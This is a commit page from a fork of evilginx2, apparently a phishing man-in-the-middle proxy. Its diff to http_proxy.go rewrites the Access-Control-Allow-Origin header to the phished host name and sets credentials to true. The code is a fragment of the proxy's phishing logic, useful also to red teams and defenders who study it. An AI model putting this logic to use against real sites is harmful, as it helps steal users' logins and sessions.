1berry/evilginx2
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

small tweak to handle Access-Control-Allow-Origin header

Browse Source
This commit is contained in:
Kuba Gretzky 2020-09-21 16:17:19 +02:00
parent 5fc43f4be9
commit 09e78a96b4
1 changed files with 6 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
core/http_proxy.go
View File

@ -606,16 +606,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
} }
allow_origin := resp.Header.Get("Access-Control-Allow-Origin") allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
if allow_origin != "" { if allow_origin != "" && allow_origin != "*" {
if allow_origin != "*" { if u, err := url.Parse(allow_origin); err == nil {
if u, err := url.Parse(allow_origin); err == nil { if o_host, ok := p.replaceHostWithPhished(u.Host); ok {
if o_host, ok := p.replaceHostWithPhished(u.Host); ok { resp.Header.Set("Access-Control-Allow-Origin", u.Scheme+"://"+o_host)
resp.Header.Set("Access-Control-Allow-Origin", u.Scheme+"://"+o_host)
}
} else {
log.Warning("can't parse URL from 'Access-Control-Allow-Origin' header: %s", allow_origin)
resp.Header.Set("Access-Control-Allow-Origin", "*")
} }
} else {
log.Warning("can't parse URL from 'Access-Control-Allow-Origin' header: %s", allow_origin)
} }
resp.Header.Set("Access-Control-Allow-Credentials", "true") resp.Header.Set("Access-Control-Allow-Credentials", "true")
} }